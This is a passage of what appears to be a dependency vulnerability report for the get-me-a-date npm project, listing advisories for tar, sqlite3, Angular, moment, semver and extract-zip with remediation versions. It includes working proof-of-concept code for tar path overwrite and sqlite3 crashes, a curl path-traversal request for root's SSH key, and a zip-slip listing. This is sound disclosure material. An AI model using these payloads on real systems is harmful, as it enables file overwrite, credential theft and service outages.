  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade rollbar to version 2.26.5, 3.0.0-beta.5 or higher.

References

high severity

Arbitrary File Overwrite

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to sqlite3@5.0.3.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Overwrite. This is due to insufficient symlink protection. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic is insufficient when extracting tar files that contain both a directory and a symlink with the same name as the directory. This order of operations results in the directory being created and added to the node-tar directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped. However, this is also where node-tar checks for symlinks occur. By first creating a directory, and then replacing that directory with a symlink, it is possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location.

Remediation

Upgrade tar to version 3.2.3, 4.4.15, 5.0.7, 6.1.2 or higher.

References

high severity

Arbitrary File Overwrite

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to sqlite3@5.0.3.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Overwrite. This is due to insufficient absolute path sanitization.

node-tar aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the preservePaths flag is not set to true. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example, the path /home/user/.bashrc would turn into home/user/.bashrc.

This logic is insufficient when file paths contain repeated path roots such as ////home/user/.bashrc. node-tar only strips a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. ///home/user/.bashrc) still resolves to an absolute path.

Remediation

Upgrade tar to version 3.2.2, 4.4.14, 5.0.6, 6.1.1 or higher.

References

high severity

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to sqlite3@5.1.7.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack exploitable via stripAbsolutePath(), used by the Unpack class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose linkpath uses a drive-relative path such as C:../target.txt in a malicious tar.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.10 or higher.

References

high severity

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to sqlite3@5.1.7.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via tar.x() extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like C:../../../target.txt.

PoC


const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.11 or higher.

References

high severity

Arbitrary Code Execution

  • Vulnerable module: sqlite3
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2
    Remediation: Upgrade to sqlite3@5.1.5.

Overview

Affected versions of this package are vulnerable to Arbitrary Code Execution via the .ToString() method due to improper sanitization. Exploiting this vulnerability is possible when a binding parameter is a crafted Object and might result in arbitrary JavaScript code execution or DoS.

Workarounds

Ensure sufficient sanitization in the parent application to protect against invalid values being supplied to binding parameters.

Remediation

Upgrade sqlite3 to version 5.1.5 or higher.

References

high severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: @angular/common
  • Introduced through: @angular/common@4.4.4

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/common@4.4.4
    Remediation: Upgrade to @angular/common@19.2.16.

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data via the HttpClient which has a built-in XSRF protection mechanism. An attacker can obtain sensitive authentication tokens by crafting requests using protocol-relative URLs that cause the token to be sent to domains under the attacker's control.

Note: This is only exploitable if XSRF protection is enabled and the application allows requests to protocol-relative URLs.

Workaround

This vulnerability can be mitigated by avoiding the use of protocol-relative URLs (those starting with //) in requests and ensuring all backend communication URLs are either relative paths or fully qualified, trusted absolute URLs.

Remediation

Upgrade @angular/common to version 19.2.16, 20.3.14, 21.0.1 or higher.

References

high severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: @angular/common
  • Introduced through: @angular/common@4.4.4

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/common@4.4.4
    Remediation: Upgrade to @angular/common@20.3.27.

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity in the HttpTransferCache used for server-side rendering, which builds the transfer-cache key by joining repeated HttpParams values with commas so that distinct parameter shapes produce the same key. An attacker can poison the SSR transfer cache and cause one request's response to be served for another by sending a request whose comma-separated scalar value, such as role=user,admin, serializes identically to a legitimate request built with repeated parameters, such as append('role', 'user').append('role', 'admin'). This affects SSR applications using HttpClient where the same URL is requested with repeated query parameters.

Workaround

This vulnerability can be avoided by disabling the transfer cache for the affected requests with { transferCache: false }, or globally with the withNoHttpTransferCache() provider, which removes the ambiguous cached responses at the cost of the SSR caching optimization.

Remediation

Upgrade @angular/common to version 20.3.27, 21.2.19, 22.0.2 or higher.

References

high severity

Interpretation Conflict

  • Vulnerable module: @hapi/content
  • Introduced through: serverful@1.4.90

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › @hapi/hapi@19.2.0 › @hapi/subtext@7.1.0 › @hapi/content@5.0.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › @hapi/hapi@19.2.0 › @hapi/subtext@7.1.0 › @hapi/pez@5.1.0 › @hapi/content@5.0.2

Overview

@hapi/content is a HTTP Content-* headers parsing

Affected versions of this package are vulnerable to Interpretation Conflict due to inconsistent handling of duplicate parameters in the Content.disposition and Content.type functions. An attacker can bypass upload filename allowlists or security filters by crafting requests with duplicate parameters that are interpreted differently by various components in the processing chain.

Workaround

This vulnerability can be mitigated by pre- or post-validating headers to detect and reject duplicates.

Remediation

Upgrade @hapi/content to version 6.0.2 or higher.

References

high severity

Cross-site Scripting (XSS)

  • Vulnerable module: @angular/core
  • Introduced through: @angular/core@4.4.4

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/core@4.4.4
    Remediation: Upgrade to @angular/core@19.2.19.

Overview

@angular/core is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the i18n pipeline when HTML from translated content in ICU messages is not properly sanitized. An attacker can execute arbitrary JavaScript in the application origin by compromising the translation file (such as xliff or xtb) and injecting malicious content.

Note:

This is only exploitable if the application uses Angular i18n, includes one or more ICU messages, renders an ICU message, and does not defend against script injection via a strict content security policy.

Workaround

This vulnerability can be mitigated by reviewing and verifying translated content received from untrusted third parties before incorporating it, enabling strict CSP controls to block unauthorized JavaScript, and enabling Trusted Types to enforce proper HTML sanitization.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/core to version 19.2.19, 20.3.17, 21.1.6, 21.2.0 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: moment
  • Introduced through: moment@2.29.1 and modern-logger@1.5.86

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › moment@2.29.1
    Remediation: Upgrade to moment@2.29.2.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › modern-logger@1.5.86 › moment@2.29.1

Overview

moment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.

Affected versions of this package are vulnerable to Directory Traversal when a user provides a locale string which is directly used to switch moment locale.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade moment to version 2.29.2 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: moment
  • Introduced through: moment@2.29.1 and modern-logger@1.5.86

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › moment@2.29.1
    Remediation: Upgrade to moment@2.29.4.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › modern-logger@1.5.86 › moment@2.29.1

Overview

moment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the preprocessRFC2822() function in from-string.js, when processing a very long crafted string (over 10k characters).

PoC:

moment("(".repeat(500000))

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade moment to version 2.29.4 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: semver
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › semver@5.3.0
    Remediation: Upgrade to sqlite3@5.0.3.

Overview

semver is a semantic version parser used by npm.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

PoC


const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})

const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade semver to version 5.7.2, 6.3.1, 7.5.2 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: sqlite3
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2
    Remediation: Upgrade to sqlite3@5.0.3.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) which will invoke the toString function of the passed parameter. If passed an invalid Function object it will throw and crash the V8 engine.

PoC

let sqlite3 = require('sqlite3').verbose(); 
let db = new sqlite3.Database(':memory:'); 
db.serialize(function() { 
  db.run("CREATE TABLE lorem (info TEXT)"); 
  db.run("INSERT INTO lorem VALUES (?)", [{toString: 23}]);  
});

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade sqlite3 to version 5.0.3 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: extract-zip
  • Introduced through: facebook-login-for-robots@1.1.155

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › facebook-login-for-robots@1.1.155 › puppeteer@8.0.0 › extract-zip@2.0.1

Overview

extract-zip is an unzip a zip file into a directory using 100% javascript

Affected versions of this package are vulnerable to Directory Traversal through the archive extraction logic in index.js. An attacker can write a file outside the destination directory by supplying an archive with two entries that reuse the same path: a symlink pointing outside the extraction root, followed by a regular file for that same name. During extraction, the code only checked the parent directory of each entry and then wrote the file through the existing final path component, so the second entry followed the planted symlink and overwrote the symlink target. This can corrupt or replace files writable by the process running extract-zip.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

A fix was pushed into the master branch but not yet published.

References

high severity
new

CRLF Injection

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to CRLF Injection via parseKV in src/pax.ts, which splits PAX extended-header records on newline characters rather than by their declared byte length. An attacker who can embed a newline in any PAX field value - either by crafting an archive directly or by planting a filename containing a newline into a directory that is subsequently archived - causes the parser to treat bytes after the embedded newline as an independent PAX record. This allows forging arbitrary PAX attributes (path, linkpath, size, uid, and others) for an extracted entry, overriding the genuine header-derived values via Object.assign in ReadEntry#slurp. The highest-impact consequence is a path overwrite: an entry's path is rewritten to an attacker-chosen location, writing file content outside the intended extraction directory. On Windows, when used via npm install with strip: 1, this overwrites the installed package's package.json and executes an injected postinstall script, achieving remote code execution.

PoC

PoC bundle (zip): https://github.com/user-attachments/files/33712230/poc-bundle.zip — contains (A) the self-contained POSIX repro, (B) the real-Windows npm RCE kit (build.js + crafted evil-pkg-1.0.0.tgz + poc.ps1), and a win32 strip-bypass simulation.

(A) Extraction, no strip (POSIX & Windows) — path overwrite. A file named é\n21 path=package.json\n is placed in safe/, packed with prefix: 'bundle'. The real entry path is bundle/safe/é..., but the forged path=package.json record overrides it, so extraction writes package.json at the extraction root, escaping the bundle/safe/ prefix and overwriting a pre-existing package.json:

--- archive entries (as parsed) ---
"bundle/safe/" Directory
"bundle/safe/normal.txt" File
"package.json" File              <-- forged, escaped the prefix
--- result ---
out/package.json = "PWNED-BY-ATTACKER ..."
*** VULNERABLE: package.json was overwritten ***

Minimal script (run against dist/ of current HEAD):

const fs = require('fs'), path = require('path'), tar = require('tar')
const root = '/tmp/poc', src = path.join(root,'src'), out = path.join(root,'out')
fs.rmSync(src,{recursive:true,force:true}); fs.rmSync(out,{recursive:true,force:true})
fs.mkdirSync(path.join(src,'safe'),{recursive:true}); fs.mkdirSync(out,{recursive:true})
fs.writeFileSync(path.join(out,'package.json'),'ORIGINAL-CONTENT')
fs.writeFileSync(path.join(src,'safe','é\n21 path=package.json\n'),'PWNED-BY-ATTACKER')
;(async () => {
  await tar.c({ file: path.join(root,'pkg.tar'), cwd: src, prefix: 'bundle' }, ['safe'])
  await tar.x({ file: path.join(root,'pkg.tar'), cwd: out })
  console.log('out/package.json =', fs.readFileSync(path.join(out,'package.json'),'utf8'))
})()

(B) npm install on Windows — postinstall RCE. With npm's strip: 1, the Windows-only normalizeWindowsPath turns an injected x\package.json into two components x/package.json; strip:1 removes x, leaving package.json, which overwrites the installed package's package.json and runs its injected postinstall. Verified on Windows Server 2022, Node v22.14.0, npm 10.9.2 — npm install completed and ran a postinstall that was not present in the published package.json, writing an arbitrary file. (On POSIX, \ is a normal filename byte and the injected value cannot contain /, so npm's strip:1 happens to reduce it to empty — POSIX+npm is incidentally safe; direct node-tar use without strip is not.)

Note: The PoC states it should be run against the dist/ of current HEAD on a POSIX or Windows system with no specific runtime version required for part A, and part B was verified on Windows Server 2022, Node v22.14.0, npm 10.9.2.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Insufficient Verification of Data Authenticity

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

